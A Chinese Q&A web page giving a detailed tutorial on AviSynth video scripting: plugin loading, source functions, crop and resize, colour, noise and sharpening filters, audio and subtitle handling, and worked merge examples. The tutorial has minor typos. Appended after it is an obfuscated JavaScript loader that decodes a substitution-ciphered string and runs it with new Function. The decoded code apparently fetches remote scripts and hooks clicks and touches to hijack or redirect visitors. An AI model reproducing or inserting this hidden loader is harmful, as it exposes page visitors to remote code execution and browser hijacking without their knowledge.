AviSynth怎么用,以及使用方法详细解答

2025-03-13 17:55:17
推荐回答(1个)
回答1:

AviSynth(AVI合成器)是一个功能强大无比的基于avs脚本文件的视频处理与帧服务软件,建立.avs文件索引输出,还有强大的脚本滤镜功能,很多编辑软件可以支持。本文详细介绍了AviSynth的使用方法.
一、如何加载插件
1.SetWorkingDir() 指定插件路径 如:
SetWorkingDir("D:\AviSynth 2.5\plugins\")
2.LoadPlugin() 加载插件 如:
LoadPlugin("VSFilter.dll") 加载字幕插件
LoadPlugin("mpeg2dec3.dll") 加载DVD的mpeg2编码器插件
LoadPlugin("mpasource.dll") 加载mp3插件
二、源媒体怎么读取
1.DirectShowSource() 万能调用 如:
DirectShowSource("e:\vob\ss.VOB")
2.AVISource() avi文件调用 如:
AVISource(e:\avi\1.avi,false)
3.MPEG2source() 这个用于解码DVD的mpeg2格式的视频 如:
MPEG2source("XXX.d2v")
4.WAVSource("e:\vob\ss.wav") 读取wave音频
5.AC3Source("e:\vob\ss.ac3") 读取ac3音频
6.MPASource("e:\vob\ss.mp3") 读取mp3音频
7.Convertfps=true 转换帧率 如:
DirectShowSource("e:\vob\ss.vob",Conertfps=true) 表示不指定帧率,适用于RMVB、WMV
注:WAVSource和AVISource是属于核心脚本,无须读取插件,但AC3Source和MPASource需要读取AC3Source和MPASource插件
DirectShowSource的读取需要安装各种音频和视频的解码器

三、Crop()、LanczosResize()、SimpleResize()、AddBorders() 裁黑边、调整大小、调整大小、加黑边
1.Crop() 裁黑边 (左,上,长,宽) 如:
Crop(8,0,704,480) 左右各切去8像素,上下各切去0像素 原分辨率720*480
2.LanczosResize() 调整大小 (长,宽) 画质锐利、真实,适合普通电影 如:
LanczosResize(640,480)
3.SimpleResize() 调整大小 (长,宽) 画质柔和,适合动画 如:
SimpleResize(640,480)
4.AddBorders() 加黑边 (左,上,右,下) 如:
AddBorders(0,64,0,64)
四、画面滤镜
1.Levels() 层次 亮度、对比度(1.3~2之间较合适)、Gamma值(调节画面亮暗)如:
Levels(0,1.5,255,0,255)
2.Tweak() 调整 色度、饱和度、亮度、对比度
色度:-180.0~180.0 默认0.0 正数趋向红色,负数趋向绿色
饱和度:0.0~10.0 默认1.0 0.0为黑白
亮度:-255.0~255.0 默认0.0 一般调节在0~30之间,以15~20为宜
对比度:0.0~10.0 默认1.0 如:
Tweak(0,1,20,1)
3.FadeIn()、FadeOut() 淡入、淡出 (帧)如:
FadeIn(24)、FadeOut(24)
4.Trim() 截取 某段影片 (开始帧,结束帧)如:
Trim(240,480)
五、声音滤镜
1.AudioDub() 合并影音 (视频,音频)如:
Video=AVISource("xxx.avi",False,"YUY2") False为关闭视频中的音频 YUY2为色彩模式
Audio=WAVSource("xxx.wav")
AudioDub(Video,Audio)
2.GetChannel()、GetLeftChannel()、GetRightChannel() 获取声道 如:
Stereo=WavSource("test.wav")
Return GetChannel(stereo) 返回test.wav的左声道
Stereo=WavSource("test.wav")
Return GetLeftChannel(stereo) 返回test.wav的声道
3.DelayAudio() 延迟声音 由于从VOB里分离的AC3通常有延迟,所以用Azid转码得到的WAV也有延迟,在用AudioDub合并时就需要加上这个延迟 如:
WAVSource("test.wav").DelayAuido(0.5) 把test.wav延迟0.5秒
DelayAudio(wavsource("text.wav"),-30) 把test.wav延迟30毫秒 +表示提前
4.ResampleAudio() 音频重新采样 如:
WAVSource("text.wav").ResampleAudio(48000) 重新采样率48000Hz
5.AmplifydB() 声道音量缩放 如:
AmplifydB(WAVSource("text.wav"),4,-3) 左声道音量放大4dB,右声道音量减小3dB
AmplifydB(WAVSource("text.wav"),4,0,-3) 左声道音量放大4dB,中声道音量放大0dB,右声道音量减小3dB
6.MergeChannels() 组合左、右声道 如:
Left=WAVSource("C:\1.wav").GetLeftChannel
Right=WAVSource("C:\2.wav").GetRightChannel
MergeChannels(Left,Right)
六、字幕滤镜
1.VobSub() Sub字幕 将字幕的2个文件test.idx和test.sub放在同一个目录下 如:
LoadPlugin("VobSub.dll")
VobSub("test")或VobSub("e:\vob\ test.idx")
2.TextSub() SSA和ASS字幕 如:
LoadPlugin("TextSub.vdf")
TextSub("h:\avs\jrvs.ssa") 加载水印文本
LoadPlugin("VSFilter.dll")
TextSub("F:\DVD\js60\js601.srt") 加载srt字幕
七、色彩模式转换
1.ConvertToRGB32、ConvertToRGB24、ConvertToRGB、ConvertToYUY2、ConvertToYV12 如:
AVISource("text.avi","YUY2")=AVISoerce("text.avi").ConvertToYUY2
八、其它虑镜
1.截图 连续截图、截取特定Frame 格式bmp,、dds、jpg/jpe/jpeg、pal、pcx 如:
DirectShowSource("E:\VIDEO\text.mp4",fps=23.970).ConvertToRGB32
trim(1,10)
ImageWriter("D:\ever\",0,0,"jpg") 连续截图 截取影片选段中的第0帧到第9帧图像(全部帧)
DirectShowSource("E:\VIDEO\text.rmvb",convertfps=true).ConvertToRGB24
trim(1,10)
ImageWriter("D:\ever\",3,7,"jpg") 连续截图 截取影片选段中的第4帧到第8帧图像
DirectShowSource("E:\VIDEO\text.mp4",fps=23.970).ConvertToRGB
trim(10,10)
ImageWriter("D:\ever\",0,0,"jpg") 截取特定Frame 截取整个影片的第11帧
DirectShowSource("E:\VIDEO\text.rmvb",convertfps=true).ConvertToRGB24
trim(1,10)
ImageWriter("D:\ever\",4,4,"jpg") 截取特定Frame 截取影片选段中的第5帧(整个影片的第6帧)
九、常见外置滤镜
(1)源文件滤镜
1.MPEG2Dec 读取DVD2AVI产生d2v工程文件,内建去除Noise的TemporalSmoother 如:
LoadPlugin("MPEG2Dec.dll")
MPEG2Source("test.d2v")
2.MPEG2Dec2 支持P4的SSE2指令集,用文本编辑工具打开d2v,把iDCT_Algorithm=?改成5 速度快,效果好 如:
LoadPlugin("MPEG2Dec2.dll")
MPEG2Source("test.d2v")
3.MPEG2Dec3 加入Nic的图像后处理(PP),一定程度减少Noise,好像除了P4的SSE2外,还加入了AMD的3D Now!优化,目前还在开发中 如:
LoadPlugin("MPEG2Dec3.dll")
MPEG2Source("test.d2v",CPU=4) CPU=4开启PP模式
(2)处理滤镜
1.ColorYUY2 颜色补偿 如:
LoadPlugin("ColorYUY2.dll")
ColorYUY2(0,10,0,10,0,0,0,0,0)
2.ChangeFPS() 改变帧率 如:
ChangeFPS(23.976) 数值12、15、20、23.976、24、25、29.970、30
3.UnDot() 消除噪点 可用一个或多个,可连用 如:
LoadPlugin("UnDot.dll")
DirectShowSource("test.avi")
UnDot()
LanczosResize(480,272)
UnDot()
LoadPlugin("UnDot.dll")
DirectShowSource("test.avi")
UnDot().UnDot().UnDot().UnDot()
4.KenKunNR() 降噪 threshold=1 to 3,数值越大,强度越大 如:
LoadPlugin("WarpSharp.dll")
KenKunNR(threshold=1)
5.FluxSmooth() 柔化 兼有降噪 降噪作用稍强于UnDot() 如:
LoadPlugin("FluxSmooth.dll")
FluxSmooth(5,7) 一般使用默认(5,7)
6.SpatialSoften() 空间轴柔化 (柔化程度,亮度域值,色彩域值)如:
SpatialSoften (4,8,8) 柔化程度数值不要太大,2-5之间,亮度域值、色彩域值需测试调节
7.TemporalSoften() 时间轴柔化 如:
TemporalSoften(2,3,3,mode=2,scenechange=6) 一般使用这个参数
8.Convolution3D() 3D柔化 一般动画用animeHQ,电影用movieHQ 如:
LoadPlugin("Convolution3d.dll")
Convolution3D("movieHQ") 电影
Convolution3D("animeHQ") 动画
9.Deen() 锐化 兼有降噪 如:
LoadPlugin("deen.dll")
Deen("c2d",2,3,3) 较轻
Deen("a3d",3,3,1,3) 较轻
Deen("c2d",2,6,6) 中等
Deen("a3d",3,6,1,6) 中等
Deen("c2d",2,10,12) 强力
Deen("a3d",3,10,1,12) 强力
10.Sharpen() 锐化 数值越大,效果越强 如:
Sharpen(0.2) 一般取0.2~0.3
11.WarpSharp() 锐化 主要改动depth、bump两个数值 如:
LoadPlugin("WarpSharp.dll")
WarpSharp(depth=30,blur=2,bump=40,cubic=-0.6) 越下面的线条越细
WarpSharp(depth=40,blur=2,bump=60,cubic=-0.6)
WarpSharp(depth=60,blur=2,bump=96,cubic=-0.6) 全屏的时候,明显感觉出锯齿
12.Blur() 模糊 参数范围-1.0~1.58 负数为清晰 可以连续加载,可以结合MergeChroma或MergeLuma使用 如:
Blur(0,1).Blur(0,1)
MergeLuma(Blur(0,1)Blur(0,1))Blur(-1) 相当于锐化滤镜
Blur(-0.9,1) 水平清晰,竖直模糊 竖直模糊更具有线条感
Blur(1.3,-0.7) 水品模糊,竖直清晰
13.柔化滤镜可以参考一些自动生成的模板 片源不好就按需选用,尽量少用,或者不用 如:
little Noise
TemporalSoften(2,3,3,mode=2,scenechange=6)
MergeChroma(blur(1.3))=MergeLuma(blur(1.0))
FluxSmooth(5,7)
Medium Noise
TemporalSoften(3,5,5,mode=2,scenechange=10)
Convolution3D("moviehq")
FluxSmooth(7,7)
Heavy Noise
Temporalsoften(4,8,8,mode=2,scenechange=10)
Convolution3D("movielq")
FluxSmooth(10,15)
(3)交错滤镜
1.Decomb 包含IVTC、Deinterlace滤镜
IVTC(Inverse Telecine) 将DVD或VCD记录的29.976fps(NTSC)或25fps(PAL)的隔行信号还原为胶片的23.976fps的逐行信号,可有效消除影片的“拉丝(Interlace)”现象、平滑减少每秒内的帧数,以获得画面质量与码流的最佳比例
Deinterlace反交错,恢复逐行扫瞄图像 参数如:
Guide 0~2 默认0 NTSC用1,PAL用2,可以提高IVTC准确度
Gthresh 0~100 默认15 控制区分不同帧的程度
Post 默认true 用来处理IVTC遗漏的细节,使画面略微模糊
Threshold 0~255 默认15 控制post的程度
Dthreshold 0~255 默认9 控制threshold判定IVTC遗漏的程度
Blend 默认true 在交错画面用渲染来替代填充
Chroma 默认false 在交错画面的亮度色度调整
Cycle 2~25 默认5 每n帧删除1帧,NTSC选5,PAL选25
Mode 0~2 默认2
Mode=0 对Cycle里最相近的帧不进行处理
Mode=1 对Cycle里最相近的帧进行处理,用于处理混合帧速
Mode=2 在一个很长的范围里进行帧对比,可以正确处理动画里由8帧或12帧复制为29.97帧的情况
Threshold 默认0 控制mode=1时的处理重复帧的程度,Threshold默认100,控制mode=2时的处理重复帧的程度
Quality 0~3 默认2 采样和色度的质量,与速度成反比 如:
LoadPlugin("Decomb.dll")
Telecide(Guide=1,Gthresh=50,Chroma=True,Quality=3,Post=false)
Decimate(cycle=5) NTSC 3:2 PullDown
LoadPlugin("Decomb.dll")
Telecide(Guide=1,Gthresh=50,Chroma=True,Quality=3,Post=false)
Decimate(Cycle=5,Mode=2) NTSC Progressive和Interlaced混合
LoadPlugin("Decomb.dll")
Telecide(Guide=2,Gthresh=50,Chroma=True,Quality=3,Post=false)
Decimate(Cycle=25) PAL
十、实例
(一)截边、改变分辨率
Avisource("H:\xx.avi").crop(5,20,630,440).lanczosresize(640,352) Corp 与 Lanczosresize 两者顺序不能变
Corp切黑边,把一个640*480分辨率的片源,左右各切去5,上下各切去20,数值为(5,20,630,440)<左,上,长,宽> Lanczosresize 改变分辨率 (长,宽)
压RMVB如要改小分辨率的话建议:704*396的片源用576*324,640*480的片源用512*384 尤其是DVD转RMVB,通常拷贝出来的VOB都带有大片黑边,一定要切黑边否则压时浪费码率
另外比较保险的分辨有640*352,640*272
切边还可用 Easy Realmedia Producer(简称:ERP)里面的功能,方便一些 或是用gk里的功能,可以计算失真
用ERP打开片源>参数设置>设置裁切区域>手动调节,用鼠标拖动红色边框,Inpug Preview为预览
(二)合并输出
v1=trim(avisource("H:\RAW\武器\9.avi",false).changefps(23.976),0,767)
false关闭音频 通常 After Effects 做的特效都是无声的,所以要关闭片源音频 changeFPS(23.976)强制显示帧数 合并的前提:必需帧数统一 要截取的帧数可以用 VDM 查看
v2=trim(avisource("H:\字幕存储\武器\op.avi",false).changefps(23.976),0,225)
AE做的特效,事先用VDM得知为226帧
v3=trim(avisource("H:\RAW\武器\0.avi",false).changefps(23.976),994,0)
三个语句分别是:截取片源0~767帧、截取AE特效全部帧、截取片源994~最后帧 即是切去片源中间一段,并用 AE 特效代替
a=v1+v2+v3
Return a.textsub("H:\09.ass").textsub("H:\武器op09.ass")
若片源分辨率不一样,需统一分辨率
v1=trim(avisource("H:\RAW\wuqi\9.avi",false).changefps(23.976).lanczosresize(704,396),0,767)
最终输出结果为无声,AVI 内嵌时使用 RMVB 内嵌直接加挂音频
Loadplugin("H:\plugin\mpasource.dll")
v4=mpasource("H:\wav\武器\09.mp3")
Audiodub(a,v4)
注:这样加载的音频在压 RMVB 时,音频设置最好不用 RA10 PLUS 用 RA10 PLUS.48Kbps压出来音频头一两分钟是无音的,RA8 没问题
120帧的片源的截切
强制显示23.976帧,再用 VDM 打开看帧序号 合并时 AE 特效也要用这个帧率 AVS 切广告再合并AE特效
因牵扯到音频,所以得先处理音频
如:0~100帧是AE特效,无声 300~350是广告 切了广告的部分再合并AE特效,视频部分完成
因 AE 特效无声,音频就要另写一脚本提取 即将原片源的广告切除的脚本,不禁声音,然后用 VDM 打开,保存 WAV 音频
120帧的片源的压缩
直接强制帧数:Changefps(23.976) 另一个:Selectevety(5,0)

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();